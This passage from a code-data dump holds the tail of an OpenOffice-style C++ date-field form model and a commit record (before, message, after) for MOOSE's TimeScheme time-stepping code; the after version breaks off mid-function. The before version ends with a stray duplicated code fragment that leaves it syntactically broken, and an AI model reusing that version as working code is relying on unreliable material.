sal_False, \"ODateModel::ODateModel: caught an exception!\" );\n    }\n    osl_decrementInterlockedCount( &m_refCount );\n}\n\n\/\/------------------------------------------------------------------------------\nODateModel::ODateModel( const ODateModel* _pOriginal, const Reference<XMultiServiceFactory>& _rxFactory )\n    :OEditBaseModel( _pOriginal, _rxFactory )\n    ,OLimitedFormats( _rxFactory, FormComponentType::DATEFIELD )\n{\n    DBG_CTOR( ODateModel, NULL );\n\n    setAggregateSet( m_xAggregateFastSet, getOriginalHandle( PROPERTY_ID_DATEFORMAT ) );\n}\n\n\/\/------------------------------------------------------------------------------\nODateModel::~ODateModel( )\n{\n    setAggregateSet(Reference< XFastPropertySet >(), -1);\n    DBG_DTOR( ODateModel, NULL );\n}\n\n\/\/ XCloneable\n\/\/------------------------------------------------------------------------------\nIMPLEMENT_DEFAULT_CLONING( ODateModel )\n\n\/\/ XServiceInfo\n\/\/------------------------------------------------------------------------------\nStringSequence SAL_CALL ODateModel::getSupportedServiceNames() throw()\n{\n    StringSequence aSupported = OBoundControlModel::getSupportedServiceNames();\n\n    sal_Int32 nOldLen = aSupported.getLength();\n    aSupported.realloc( nOldLen + 8 );\n    ::rtl::OUString* pStoreTo = aSupported.getArray() + nOldLen;\n\n    *pStoreTo++ = BINDABLE_CONTROL_MODEL;\n    *pStoreTo++ = DATA_AWARE_CONTROL_MODEL;\n    *pStoreTo++ = VALIDATABLE_CONTROL_MODEL;\n\n    *pStoreTo++ = BINDABLE_DATA_AWARE_CONTROL_MODEL;\n    *pStoreTo++ = VALIDATABLE_BINDABLE_CONTROL_MODEL;\n\n    *pStoreTo++ = FRM_SUN_COMPONENT_DATEFIELD;\n    *pStoreTo++ = FRM_SUN_COMPONENT_DATABASE_DATEFIELD;\n    *pStoreTo++ = BINDABLE_DATABASE_DATE_FIELD;\n\n    return aSupported;\n}\n\n\/\/------------------------------------------------------------------------------\n::rtl::OUString SAL_CALL ODateModel::getServiceName() throw ( ::com::sun::star::uno::RuntimeException)\n{\n    return FRM_COMPONENT_DATEFIELD; \/\/ old (non-sun) name for compatibility !\n}\n\n\/\/ XPropertySet\n\/\/------------------------------------------------------------------------------\nReference<XPropertySetInfo> SAL_CALL ODateModel::getPropertySetInfo() throw( RuntimeException )\n{\n    Reference<XPropertySetInfo>  xInfo( createPropertySetInfo( getInfoHelper() ) );\n    return xInfo;\n}\n\n\/\/------------------------------------------------------------------------------\nvoid ODateModel::fillProperties(\n        Sequence< Property >& _rProps,\n        Sequence< Property >& _rAggregateProps ) const\n{\n    BEGIN_DESCRIBE_PROPERTIES( 4, OEditBaseModel )\n        DECL_PROP3(DEFAULT_DATE,            sal_Int32,              BOUND, MAYBEDEFAULT, MAYBEVOID);\n        DECL_PROP1(TABINDEX,                sal_Int16,              BOUND);\n        DECL_PROP1(FORMATKEY,               sal_Int32,              TRANSIENT);\n        DECL_IFACE_PROP2(FORMATSSUPPLIER,   XNumberFormatsSupplier, READONLY, TRANSIENT);\n    END_DESCRIBE_PROPERTIES();\n}\n\n\/\/------------------------------------------------------------------------------\n::cppu::IPropertyArrayHelper& ODateModel::getInfoHelper()\n{\n    return *const_cast<ODateModel*>(this)->getArrayHelper();\n}\n\n\/\/------------------------------------------------------------------------------\nvoid SAL_CALL ODateModel::getFastPropertyValue(Any& _rValue, sal_Int32 _nHandle ) const\n{\n    switch (_nHandle)\n    {\n        case PROPERTY_ID_FORMATKEY:\n            getFormatKeyPropertyValue(_rValue);\n            break;\n        case PROPERTY_ID_FORMATSSUPPLIER:\n            _rValue <<= getFormatsSupplier();\n            break;\n        default:\n            OEditBaseModel::getFastPropertyValue(_rValue, _nHandle);\n            break;\n    }\n}\n\n\/\/------------------------------------------------------------------------------\nsal_Bool SAL_CALL ODateModel::convertFastPropertyValue(Any& _rConvertedValue, Any& _rOldValue,\n        sal_Int32 _nHandle, const Any& _rValue ) throw(IllegalArgumentException)\n{\n    if (PROPERTY_ID_FORMATKEY == _nHandle)\n        return convertFormatKeyPropertyValue(_rConvertedValue, _rOldValue, _rValue);\n    else\n        return OEditBaseModel::convertFastPropertyValue(_rConvertedValue, _rOldValue, _nHandle, _rValue );\n}\n\n\/\/------------------------------------------------------------------------------\nvoid SAL_CALL ODateModel::setFastPropertyValue_NoBroadcast(sal_Int32 _nHandle, const Any& _rValue) throw ( ::com::sun::star::uno::Exception)\n{\n    if (PROPERTY_ID_FORMATKEY == _nHandle)\n        setFormatKeyPropertyValue(_rValue);\n    else\n        OEditBaseModel::setFastPropertyValue_NoBroadcast(_nHandle, _rValue);\n}\n\n\/\/ XLoadListener\n\/\/------------------------------------------------------------------------------\nvoid ODateModel::onConnectedDbColumn( const Reference< XInterface >& _rxForm )\n{\n    OBoundControlModel::onConnectedDbColumn( _rxForm );\n    Reference<XPropertySet> xField = getField();\n    if (xField.is())\n    {\n        m_bDateTimeField = sal_False;\n        try\n        {\n            sal_Int32 nFieldType;\n            xField->getPropertyValue(PROPERTY_FIELDTYPE) >>= nFieldType;\n            m_bDateTimeField = (nFieldType == DataType::TIMESTAMP);\n        }\n        catch(Exception&)\n        {\n        }\n    }\n}\n\n\/\/------------------------------------------------------------------------------\nsal_Bool ODateModel::commitControlValueToDbColumn( bool _bPostReset )\n{\n    Any aControlValue( m_xAggregateFastSet->getFastPropertyValue( getValuePropertyAggHandle() ) );\n    if ( !compare( aControlValue, m_aSaveValue ) )\n    {\n        if ( !aControlValue.hasValue() )\n            m_xColumnUpdate->updateNull();\n        else\n        {\n            try\n            {\n                util::Date aDate;\n                if ( !( aControlValue >>= aDate ) )\n                {\n                    sal_Int32 nAsInt(0);\n                    aControlValue >>= nAsInt;\n                    aDate = DBTypeConversion::toDate(nAsInt);\n                }\n\n                if ( !m_bDateTimeField )\n                    m_xColumnUpdate->updateDate( aDate );\n                else\n                {\n                    util::DateTime aDateTime = m_xColumn->getTimestamp();\n                    aDateTime.Day = aDate.Day;\n                    aDateTime.Month = aDate.Month;\n                    aDateTime.Year = aDate.Year;\n                    m_xColumnUpdate->updateTimestamp( aDateTime );\n                }\n            }\n            catch(Exception&)\n            {\n                return sal_False;\n            }\n        }\n        m_aSaveValue = aControlValue;\n    }\n    return sal_True;\n}\n\n\/\/------------------------------------------------------------------------------\nAny ODateModel::translateControlValueToExternalValue( ) const\n{\n    Any aExternalValue( getControlValue() );\n    if ( aExternalValue.hasValue() )\n    {\n        sal_Int32 nDate = 0;\n        OSL_VERIFY( aExternalValue >>= nDate );\n        aExternalValue <<= DBTypeConversion::toDate( nDate );\n    }\n    return aExternalValue;\n}\n\n\/\/------------------------------------------------------------------------------\nAny ODateModel::translateExternalValueToControlValue( ) const\n{\n    OSL_PRECOND( hasExternalValueBinding(),\n        \"ODateModel::translateExternalValueToControlValue: precondition not met!\" );\n\n    Any aControlValue;\n    if ( hasExternalValueBinding() )\n    {\n        Any aExternalValue = getExternalValueBinding()->getValue( ::getCppuType( static_cast< util::Date* >( NULL ) ) );\n        if ( aExternalValue.hasValue() )\n        {\n            util::Date aDate;\n            OSL_VERIFY( aExternalValue >>= aDate );\n            aControlValue <<= DBTypeConversion::toINT32( aDate );\n        }\n    }\n    return aControlValue;\n}\n\n\/\/------------------------------------------------------------------------------\nAny ODateModel::translateDbColumnToControlValue()\n{\n    util::Date aDate = m_xColumn->getDate();\n    if (m_xColumn->wasNull())\n        m_aSaveValue.clear();\n    else\n        \/\/ the aggregated set expects an Int32 as value ...\n        m_aSaveValue <<= DBTypeConversion::toINT32(aDate);\n\n    return m_aSaveValue;\n}\n\n\/\/------------------------------------------------------------------------------\nAny ODateModel::getDefaultForReset() const\n{\n    Any aValue;\n    if (m_aDefault.getValueType().getTypeClass() == TypeClass_LONG)\n        aValue = m_aDefault;\n    else\n    {   \/\/ aktuelles Datum einstellen\n        ::Date aCurrentDate;\n        aValue <<= (sal_Int32)aCurrentDate.GetDate();\n    }\n\n    return aValue;\n}\n\n\/\/------------------------------------------------------------------------------\nsal_Bool ODateModel::approveValueBinding( const Reference< binding::XValueBinding >& _rxBinding )\n{\n    OSL_PRECOND( _rxBinding.is(), \"ODateModel::approveValueBinding: invalid binding!\" );\n\n    return  _rxBinding.is()\n        &&  _rxBinding->supportsType( ::getCppuType( static_cast< util::Date* >( NULL ) ) );\n}\n\n\/\/.........................................................................\n}   \/\/ namespace frm\n\/\/.........................................................................\n\n<|endoftext|>"}
{"text":"<commit_before>\/****************************************************************\/\n\/*               DO NOT MODIFY THIS HEADER                      *\/\n\/* MOOSE - Multiphysics Object Oriented Simulation Environment  *\/\n\/*                                                              *\/\n\/*           (c) 2010 Battelle Energy Alliance, LLC             *\/\n\/*                   ALL RIGHTS RESERVED                        *\/\n\/*                                                              *\/\n\/*          Prepared by Battelle Energy Alliance, LLC           *\/\n\/*            Under Contract No. DE-AC07-05ID14517              *\/\n\/*            With the U. S. Department of Energy               *\/\n\/*                                                              *\/\n\/*            See COPYRIGHT for full restrictions               *\/\n\/****************************************************************\/\n\n#include \"TimeScheme.h\"\n#include \"NonlinearSystem.h\"\n#include \"PetscSupport.h\"\n\n\/\/ libMesh\n#include \"nonlinear_solver.h\"\n#include \"quadrature_gauss.h\"\n#include \"dense_vector.h\"\n#include \"boundary_info.h\"\n#include \"petsc_matrix.h\"\n#include \"petsc_vector.h\"\n#include \"petsc_nonlinear_solver.h\"\n#include \"numeric_vector.h\"\n#include \"mesh.h\"\n#include \"dense_subvector.h\"\n#include \"dense_submatrix.h\"\n#include \"dof_map.h\"\n\/\/ PETSc\n#ifdef LIBMESH_HAVE_PETSC\n#include \"petscsnes.h\"\n#endif\n\n#include <iostream>\n\n\n\nTimeScheme::TimeScheme(NonlinearSystem * c) :\n_nl(c),\n_solution_u_dot(c->_sys.add_vector(\"u_dot\", false, GHOSTED)),\n_solution_du_dot_du(c->_sys.add_vector(\"du_dot_du\", false, GHOSTED)),\n_residual_old( c->_sys.add_vector(\"residual_old\", false, GHOSTED)),\n_predicted_solution(c->_sys.add_vector(\"predicted_solution\", false, GHOSTED)),\n_trash1(c->_sys.add_vector(\"trash1\", false, GHOSTED)),\n_trash2(c->_sys.add_vector(\"trash2\", false, GHOSTED)),\n_trash3(c->_sys.add_vector(\"trash3\", false, GHOSTED)),\n_mmatrix(c->_sys.add_vector(\"mmatrix\", false, GHOSTED)),\n_dt(c->_dt),\n_dt_old( c->_dt_old),\n_time_weight( c->_time_weight),\n_time_stepping_scheme( c->_time_stepping_scheme),\n_t_step(c->_t_step),\n_time_stack(std::deque<TimeStep>()),\n_workvecs(std::vector<NumericVector<Number> *>()),\n_apply_predictor(true),\n_use_AB2(false),\n_dt2_check(NULL),\n_dt2_bool(false)\n{\n\n}\n\nTimeScheme::~TimeScheme(){\n  delete _dt2_check;\n}\n\nvoid TimeScheme::reclaimTimeStep(TimeStep &timestep)\n{\n  \/\/ time derivative first because it is not zeroed\n  _workvecs.push_back(&timestep.getTimeDerivitive());\n  _workvecs.push_back(&timestep.getSolution());\n}\n\nvoid\nTimeScheme::onTimestepBegin()\n{\n  if (_time_stack.empty())\n  {\n    _time_stack.push_back(TimeStep((_nl->_t - _dt), 0, _nl, _workvecs));\n    _time_stack.back().setDt(_dt_old);\n  }\n\n  if(_dt2_bool)\n  {\n    \/\/fix stack if DT2Transient\n    for (int i=0; i<2; i++)\n    { \/\/ reject last two short steps\n      reclaimTimeStep(_time_stack.back());\n      _time_stack.pop_back();\n    }\n    _time_stack.push_back(*_dt2_check);\n    _dt2_check = NULL;\n    _dt2_bool = false;\n  }\n  _time_stepping_scheme = _nl->_time_stepping_scheme;\n  \/\/set Solution to previous solve\n  _time_stack.back().setSolution(_nl->solutionOld());\n  _dt_old = _time_stack.back().getDt();\n  if(_time_stack.size()!=0 && _time_stack.back().getTimeStep() == _t_step)\n  {\n    if(_dt != _dt_old)\n    {\n     \/\/Solve Fail\n      if (_dt2_check)\n      {\n        reclaimTimeStep(*_dt2_check);\n        delete _dt2_check;\n      }\n      _dt2_check = new TimeStep(_time_stack.back());\n      _time_stack.pop_back();\n    }\n    else\n    {\n      \/\/DT2Transient\n      _dt2_bool = true;\n    }\n  }\n  else\n  {\n    \/\/This 4 should be tied to the order of the time scheme.\n    if(_time_stack.size()>4)\n    {\n      reclaimTimeStep(_time_stack.front());\n      _time_stack.pop_front();\n    }\n  }\n  _dt_old = _time_stack.back().getDt();\n  \/\/\/Set solution to right values\n  _nl->_solution.localize( _time_stack.back().getSolution());\n  _nl->_solution_old.localize(_time_stack.back().getSolution());\n  if(_t_step>1)\n  {\n    _nl->_solution_older = _time_stack[_time_stack.size()-2].getSolution();\n  }\n  \/\/\/push back the current time step\n  _time_stack.push_back(TimeStep(_nl->_t, _t_step, _nl, _workvecs));\n  _time_stack.back().setDt(_dt);\n  Real sum;\n  if(_t_step > 1)\n  {\n    _time_stack[_time_stack.size()-2].setTimeDerivitive(_solution_u_dot);\n  }\n  switch (_time_stepping_scheme)\n  {\n  case Moose::CRANK_NICOLSON:\n    {\n      computeLittlef(_time_stack[_time_stack.size()-2].getSolution(), _residual_old, -1, false);\n    }\n    break;\n\n  case Moose::BDF2:\n    sum = _dt+ _dt_old;\n    _time_weight[0] = 1.+_dt\/sum;\n    _time_weight[1] =-sum\/ _dt_old;\n    _time_weight[2] =_dt*_dt\/_dt_old\/sum;\n    break;\n\n  default:\n    break;\n  }\n\n}\n\nvoid TimeScheme::Adams_Bashforth2P(NumericVector<Number> & initial_solution)\n{\n  if(_dt ==0 || _dt_old == 0 || _t_step<3){\n    return;\n  }\n  initial_solution.localize(_predicted_solution);\n  NumericVector<Number> & my_old_solution_u_dot = _trash1; \/\/change to trash1\n  _time_stack[_time_stack.size()-3].getTimeDerivitive().localize(my_old_solution_u_dot);\n  my_old_solution_u_dot *= -1.0;\n  my_old_solution_u_dot += _time_stack[_time_stack.size()-2].getTimeDerivitive();\n  my_old_solution_u_dot *= (.5*_dt*_dt)\/ _time_stack[_time_stack.size()-2].getDt();\n  NumericVector<Number> & _old_solution_u_dot = _trash2;\n  _time_stack[_time_stack.size()-2].getTimeDerivitive().localize(_old_solution_u_dot);\n  _old_solution_u_dot *= _dt;\n  _predicted_solution += my_old_solution_u_dot;\n  _predicted_solution += _old_solution_u_dot;\n  if(_apply_predictor)\n  {\n    my_old_solution_u_dot *= _nl->_predictor_scale;\n    _old_solution_u_dot *= _nl->_predictor_scale;\n    initial_solution += my_old_solution_u_dot;\n    initial_solution += _old_solution_u_dot;\n  }\n}\n\/*void TimeScheme::Adams_Bashforth2P(NumericVector<Number> & initial_solution)\n{\n\n  NumericVector<Number> & residual_older = _trash1;\n  NumericVector<Number> & residual_old = _trash2;\n\n  computeLittlef(_time_stack[_time_stack.size()-3].getSolution(), residual_older);\n  computeLittlef(_time_stack[_time_stack.size() -2].getSolution(), residual_old);\n  if(_dt ==0 || _dt_old == 0){\n    std::cout<<\"help me!!\"<<std::endl;\n  }\n  residual_older *= -1.0*(_dt*_dt)\/(2.0*_dt_old);\n  residual_old *= -1.0*(_dt + (_dt*_dt)\/(2.0*_dt_old));\n  initial_solution +=  (residual_old);\n  initial_solution -= residual_older;\n  initial_solution.localize(_predicted_solution);\n}*\/\n\nReal\nTimeScheme::estimateTimeError(NumericVector<Number> & solution)\n{\n  Real ret = -1;\n  if(_dt_old >0){\n    switch (_time_stepping_scheme)\n    {\n      case Moose::CRANK_NICOLSON:\n      {\n        _predicted_solution -= solution;\n         _predicted_solution *= (_dt)\/(3.0 * (_dt +_dt_old));\n         ret = _predicted_solution.l2_norm();\n         return ret;\n      }\n      case Moose::BDF2:\n      {\n        _predicted_solution *= -1.0;\n        _predicted_solution += solution;\n        Real topcalc = 2.0*(_dt + _dt_old)*(_dt +_dt_old);\n        Real bottomcalc = 6.0*_dt*_dt + 12.0*_dt*_dt_old + 5.0*_dt_old*_dt_old;\n        _predicted_solution *= topcalc\/bottomcalc;\n        ret = _predicted_solution.l2_norm();\n        return ret;\n      }\n      default:\n        break;\n    }\n  }\n  return ret;\n}\n\nvoid\nTimeScheme::applyPredictor(NumericVector<Number> & initial_solution)\n{\n  \/\/ A Predictor is an algorithm that will predict the next solution based on\n  \/\/ previous solutions.  Basically, it works like:\n  \/\/\n  \/\/             sol - prev_sol\n  \/\/ sol = sol + -------------- * dt * scale_factor\n  \/\/                 dt_old\n  \/\/\n  \/\/ The scale factor can be set to 1 for times when the solution is expected\n  \/\/ to change linearly or smoothly.  If the solution is less continuous over\n  \/\/ time, it may be better to set to to 0.\n  \/\/   In the ideal case of a linear model with linearly changing bcs, the Predictor\n  \/\/ can determine the solution before the solver is invoked (a solution is computed\n  \/\/ in zero solver iterations).  Even outside the ideal case, a good Predictor\n  \/\/ significantly reduces the number of solver iterations required.\n  \/\/   It is important to compute the initial residual to be used as a relative\n  \/\/ convergence criterion before applying the predictor.  If this is not done,\n  \/\/ the residual is likely to be much lower after applying the predictor, which would\n  \/\/ result in a much more stringent criterion for convergence than would have been\n  \/\/ used if the predictor were not enabled.\n  if(_use_AB2){\n    if(_t_step >2)\n    {\n      Adams_Bashforth2P(initial_solution);\n    }\n    return;\n  }\n  if (_dt_old > 0)\n  {\n    std::streamsize cur_precision(std::cout.precision());\n    std::cout << \"  Applying predictor with scale factor = \"<<std::fixed<<std::setprecision(2)<<_nl->_predictor_scale<<\"\\n\";\n    std::cout << std::scientific << std::setprecision(cur_precision);\n    Real dt_adjusted_scale_factor = _nl->_predictor_scale *_dt\/_dt_old;\n    NumericVector<Number> & previous_solution = _trash1;\n    _time_stack[_time_stack.size()-3].getSolution().localize(previous_solution);\n    if (dt_adjusted_scale_factor != 0.0)\n    {\n      initial_solution *= (1.0 + dt_adjusted_scale_factor);\n      previous_solution *= dt_adjusted_scale_factor;\n      initial_solution -= previous_solution;\n    }\n  }\n}\n\nvoid TimeScheme::computeLittlef(const NumericVector<Number> & bigF, NumericVector<Number> & littlef, Real time, bool mass)\n{\n  NumericVector<Number> & my_solution_u_dot = _trash3;\n\n   if(mass)\n   {\n     _solution_u_dot.localize(my_solution_u_dot);\n     _solution_u_dot = 1.0;\n   }\n  Real currenttime = _nl->_t;\n  const NumericVector<Real> *current_solution = _nl->currentSolution();\n  if(time != -1)\n  {\n    _nl->_t = time;\n  }\n  _nl->set_solution(bigF);\/\/ use old_solution for computing with correct solution vector\n  littlef.close();\n  _nl->computeNonTimeResidual(littlef);\n  if(mass)\n  {\n#ifdef LIBMESH_HAVE_PETSC\n    _nl->computeTimeResidual(_mmatrix);\n    PetscVector<Number> cls((static_cast<PetscVector<Number> & > (_mmatrix)).vec());\n    if( VecReciprocal(cls.vec()) != 0)\n      mooseError(\"VecReciprocal\");\n    cls.close();\n    littlef.pointwise_mult(littlef, _mmatrix);\n    _mmatrix.close();\n#endif\n  }\n\n  _nl->set_solution(*current_solution);\n  _nl->_t = currenttime;\n  if(mass)\n  {\n    my_solution_u_dot.localize(_solution_u_dot);\n  }\n}\n\nNumericVector<Number> & TimeScheme::finishResidual(NumericVector<Number> & residual){\n  switch (_time_stepping_scheme)\n  {\n  case Moose::CRANK_NICOLSON:\n    residual.add(_residual_old);\n    residual.close();\n    break;\n\n  default:\n    break;\n  }\n  return residual;\n}\n\nvoid\nTimeScheme::computeTimeDerivatives()\n{\n\n  switch (_time_stepping_scheme)\n  {\n  case Moose::IMPLICIT_EULER:\n  case Moose::EXPLICIT_EULER:\n    _solution_u_dot = *_nl->currentSolution();\n    _solution_u_dot -= _time_stack[_time_stack.size() -2].getSolution();\n    _solution_u_dot \/= _dt;\n\n    _solution_du_dot_du = 1.0 \/ _dt;\n    break;\n\n  case Moose::CRANK_NICOLSON:\n    _solution_u_dot = *_nl->currentSolution();\n    _solution_u_dot -=  _time_stack[_time_stack.size() -2].getSolution();\n    _solution_u_dot *=  2.0\/_dt;\n    \/\/_solution_u_dot += *_residual_old;\n    _solution_du_dot_du = 1.0\/_dt;\n    break;\n\n  case Moose::BDF2:\n    if (_t_step == 1)\n    {\n      \/\/ Use backward-euler for the first step\n      _solution_u_dot = *_nl->currentSolution();\n      _solution_u_dot -=  _time_stack[_time_stack.size() -2].getSolution();\n      _solution_u_dot \/= _dt;\n\n      _solution_du_dot_du = 1.0\/_dt;\n    }\n    else\n    {\n\n      _solution_u_dot.zero();\n      _solution_u_dot.add(_time_weight[0], *_nl->currentSolution());\n      _solution_u_dot.add(_time_weight[1], _time_stack[_time_stack.size() -2].getSolution());\n\n      _solution_u_dot.add(_time_weight[2], _time_stack[_time_stack.size()-3].getSolution()); \/\/_time_stack[_time_stack.size()-2].getSolution());\n      _solution_u_dot.scale(1.\/_dt);\n      _solution_du_dot_du = _time_weight[0]\/_dt;\n    }\n    break;\n\n  default:\n    break;\n  }\n  _solution_u_dot.close();\n  _solution_du_dot_du.close();\n}\not_du = _time_weight[0]\/_dt;\n    }\n    break;\n\n  default:\n    break;\n  }\n  _solution_u_dot.close();\n  _solution_du_dot_du.close();\n}\n<commit_msg>fixed CH problem ref #1288<commit_after>\/****************************************************************\/\n\/*               DO NOT MODIFY THIS HEADER                      *\/\n\/* MOOSE - Multiphysics Object Oriented Simulation Environment  *\/\n\/*                                                              *\/\n\/*           (c) 2010 Battelle Energy Alliance, LLC             *\/\n\/*                   ALL RIGHTS RESERVED                        *\/\n\/*                                                              *\/\n\/*          Prepared by Battelle Energy Alliance, LLC           *\/\n\/*            Under Contract No. DE-AC07-05ID14517              *\/\n\/*            With the U. S. Department of Energy               *\/\n\/*                                                              *\/\n\/*            See COPYRIGHT for full restrictions               *\/\n\/****************************************************************\/\n\n#include \"TimeScheme.h\"\n#include \"NonlinearSystem.h\"\n#include \"PetscSupport.h\"\n\n\/\/ libMesh\n#include \"nonlinear_solver.h\"\n#include \"quadrature_gauss.h\"\n#include \"dense_vector.h\"\n#include \"boundary_info.h\"\n#include \"petsc_matrix.h\"\n#include \"petsc_vector.h\"\n#include \"petsc_nonlinear_solver.h\"\n#include \"numeric_vector.h\"\n#include \"mesh.h\"\n#include \"dense_subvector.h\"\n#include \"dense_submatrix.h\"\n#include \"dof_map.h\"\n\/\/ PETSc\n#ifdef LIBMESH_HAVE_PETSC\n#include \"petscsnes.h\"\n#endif\n\n#include <iostream>\n\n\n\nTimeScheme::TimeScheme(NonlinearSystem * c) :\n_nl(c),\n_solution_u_dot(c->_sys.add_vector(\"u_dot\", false, GHOSTED)),\n_solution_du_dot_du(c->_sys.add_vector(\"du_dot_du\", false, GHOSTED)),\n_residual_old( c->_sys.add_vector(\"residual_old\", false, GHOSTED)),\n_predicted_solution(c->_sys.add_vector(\"predicted_solution\", false, GHOSTED)),\n_trash1(c->_sys.add_vector(\"trash1\", false, GHOSTED)),\n_trash2(c->_sys.add_vector(\"trash2\", false, GHOSTED)),\n_trash3(c->_sys.add_vector(\"trash3\", false, GHOSTED)),\n_mmatrix(c->_sys.add_vector(\"mmatrix\", false, GHOSTED)),\n_dt(c->_dt),\n_dt_old( c->_dt_old),\n_time_weight( c->_time_weight),\n_time_stepping_scheme( c->_time_stepping_scheme),\n_t_step(c->_t_step),\n_time_stack(std::deque<TimeStep>()),\n_workvecs(std::vector<NumericVector<Number> *>()),\n_apply_predictor(true),\n_use_AB2(false),\n_dt2_check(NULL),\n_dt2_bool(false)\n{\n\n}\n\nTimeScheme::~TimeScheme(){\n  delete _dt2_check;\n}\n\nvoid TimeScheme::reclaimTimeStep(TimeStep &timestep)\n{\n  \/\/ time derivative first because it is not zeroed\n  _workvecs.push_back(&timestep.getTimeDerivitive());\n  _workvecs.push_back(&timestep.getSolution());\n}\n\nvoid\nTimeScheme::onTimestepBegin()\n{\n  if (_time_stack.empty())\n  {\n    _time_stack.push_back(TimeStep((_nl->_t - _dt), 0, _nl, _workvecs));\n    _time_stack.back().setDt(_dt_old);\n  }\n\n  if(_dt2_bool)\n  {\n    \/\/fix stack if DT2Transient\n    for (int i=0; i<2; i++)\n    { \/\/ reject last two short steps\n      reclaimTimeStep(_time_stack.back());\n      _time_stack.pop_back();\n    }\n    _time_stack.push_back(*_dt2_check);\n    _dt2_check = NULL;\n    _dt2_bool = false;\n  }\n  _time_stepping_scheme = _nl->_time_stepping_scheme;\n  \/\/set Solution to previous solve\n  _time_stack.back().setSolution(_nl->solutionOld());\n  _dt_old = _time_stack.back().getDt();\n  if(_time_stack.size()!=0 && _time_stack.back().getTimeStep() == _t_step)\n  {\n    if(_dt != _dt_old)\n    {\n     \/\/Solve Fail\n      if (_dt2_check)\n      {\n        reclaimTimeStep(*_dt2_check);\n        delete _dt2_check;\n      }\n      _dt2_check = new TimeStep(_time_stack.back());\n      _time_stack.pop_back();\n    }\n    else\n    {\n      \/\/DT2Transient\n      _dt2_bool = true;\n    }\n  }\n  else\n  {\n    \/\/This 4 should be tied to the order of the time scheme.\n    if(_time_stack.size()>4)\n    {\n      reclaimTimeStep(_time_stack.front());\n      _time_stack.pop_front();\n    }\n  }\n  _dt_old = _time_stack.back().getDt();\n  \/\/\/Set solution to right values\n  _nl->_solution.localize( _time_stack.back().getSolution());\n  _nl->_solution_old.localize(_time_stack.back().getSolution());\n  if(_t_step>1)\n  {\n    _nl->_solution_older = _time_stack[_time_stack.size()-2].getSolution();\n  }\n  \/\/\/push back the current time step\n  _time_stack.push_back(TimeStep(_nl->_t, _t_step, _nl, _workvecs));\n  _time_stack.back().setDt(_dt);\n  Real sum;\n  if(_t_step > 1)\n  {\n    _time_stack[_time_stack.size()-2].setTimeDerivitive(_solution_u_dot);\n  }\n  switch (_time_stepping_scheme)\n  {\n  case Moose::CRANK_NICOLSON:\n    {\n      computeLittlef(_time_stack[_time_stack.size()-2].getSolution(), _residual_old, -1, false);\n    }\n    break;\n\n  case Moose::BDF2:\n    sum = _dt+ _dt_old;\n    _time_weight[0] = 1.+_dt\/sum;\n    _time_weight[1] =-sum\/ _dt_old;\n    _time_weight[2] =_dt*_dt\/_dt_old\/sum;\n    break;\n\n  default:\n    break;\n  }\n\n}\n\nvoid TimeScheme::Adams_Bashforth2P(NumericVector<Number> & initial_solution)\n{\n  if(_dt ==0 || _dt_old == 0 || _t_step<3){\n    return;\n  }\n  initial_solution.localize(_predicted_solution);\n  NumericVector<Number> & my_old_solution_u_dot = _trash1; \/\/change to trash1\n  _time_stack[_time_stack.size()-3].getTimeDerivitive().localize(my_old_solution_u_dot);\n  my_old_solution_u_dot *= -1.0;\n  my_old_solution_u_dot += _time_stack[_time_stack.size()-2].getTimeDerivitive();\n  my_old_solution_u_dot *= (.5*_dt*_dt)\/ _time_stack[_time_stack.size()-2].getDt();\n  NumericVector<Number> & _old_solution_u_dot = _trash2;\n  _time_stack[_time_stack.size()-2].getTimeDerivitive().localize(_old_solution_u_dot);\n  _old_solution_u_dot *= _dt;\n  _predicted_solution += my_old_solution_u_dot;\n  _predicted_solution += _old_solution_u_dot;\n  if(_apply_predictor)\n  {\n    my_old_solution_u_dot *= _nl->_predictor_scale;\n    _old_solution_u_dot *= _nl->_predictor_scale;\n    initial_solution += my_old_solution_u_dot;\n    initial_solution += _old_solution_u_dot;\n  }\n}\n\/*void TimeScheme::Adams_Bashforth2P(NumericVector<Number> & initial_solution)\n{\n\n  NumericVector<Number> & residual_older = _trash1;\n  NumericVector<Number> & residual_old = _trash2;\n\n  computeLittlef(_time_stack[_time_stack.size()-3].getSolution(), residual_older);\n  computeLittlef(_time_stack[_time_stack.size() -2].getSolution(), residual_old);\n  if(_dt ==0 || _dt_old == 0){\n    std::cout<<\"help me!!\"<<std::endl;\n  }\n  residual_older *= -1.0*(_dt*_dt)\/(2.0*_dt_old);\n  residual_old *= -1.0*(_dt + (_dt*_dt)\/(2.0*_dt_old));\n  initial_solution +=  (residual_old);\n  initial_solution -= residual_older;\n  initial_solution.localize(_predicted_solution);\n}*\/\n\nReal\nTimeScheme::estimateTimeError(NumericVector<Number> & solution)\n{\n  Real ret = -1;\n  if(_dt_old >0){\n    switch (_time_stepping_scheme)\n    {\n      case Moose::CRANK_NICOLSON:\n      {\n        _predicted_solution -= solution;\n         _predicted_solution *= (_dt)\/(3.0 * (_dt +_dt_old));\n         ret = _predicted_solution.l2_norm();\n         return ret;\n      }\n      case Moose::BDF2:\n      {\n        _predicted_solution *= -1.0;\n        _predicted_solution += solution;\n        Real topcalc = 2.0*(_dt + _dt_old)*(_dt +_dt_old);\n        Real bottomcalc = 6.0*_dt*_dt + 12.0*_dt*_dt_old + 5.0*_dt_old*_dt_old;\n        _predicted_solution *= topcalc\/bottomcalc;\n        ret = _predicted_solution.l2_norm();\n        return ret;\n      }\n      default:\n        break;\n    }\n  }\n  return ret;\n}\n\nvoid\nTimeScheme::applyPredictor(NumericVector<Number> & initial_solution)\n{\n  \/\/ A Predictor is an algorithm that will predict the next solution based on\n  \/\/ previous solutions.  Basically, it works like:\n  \/\/\n  \/\/             sol - prev_sol\n  \/\/ sol = sol + -------------- * dt * scale_factor\n  \/\/                 dt_old\n  \/\/\n  \/\/ The scale factor can be set to 1 for times when the solution is expected\n  \/\/ to change linearly or smoothly.  If the solution is less continuous over\n  \/\/ time, it may be better to set to to 0.\n  \/\/   In the ideal case of a linear model with linearly changing bcs, the Predictor\n  \/\/ can determine the solution before the solver is invoked (a solution is computed\n  \/\/ in zero solver iterations).  Even outside the ideal case, a good Predictor\n  \/\/ significantly reduces the number of solver iterations required.\n  \/\/   It is important to compute the initial residual to be used as a relative\n  \/\/ convergence criterion before applying the predictor.  If this is not done,\n  \/\/ the residual is likely to be much lower after applying the predictor, which would\n  \/\/ result in a much more stringent criterion for convergence than would have been\n  \/\/ used if the predictor were not enabled.\n  if(_use_AB2){\n    if(_t_step >2)\n    {\n      Adams_Bashforth2P(initial_solution);\n    }\n    return;\n  }\n  if (_dt_old > 0)\n  {\n    std::streamsize cur_precision(std::cout.precision());\n    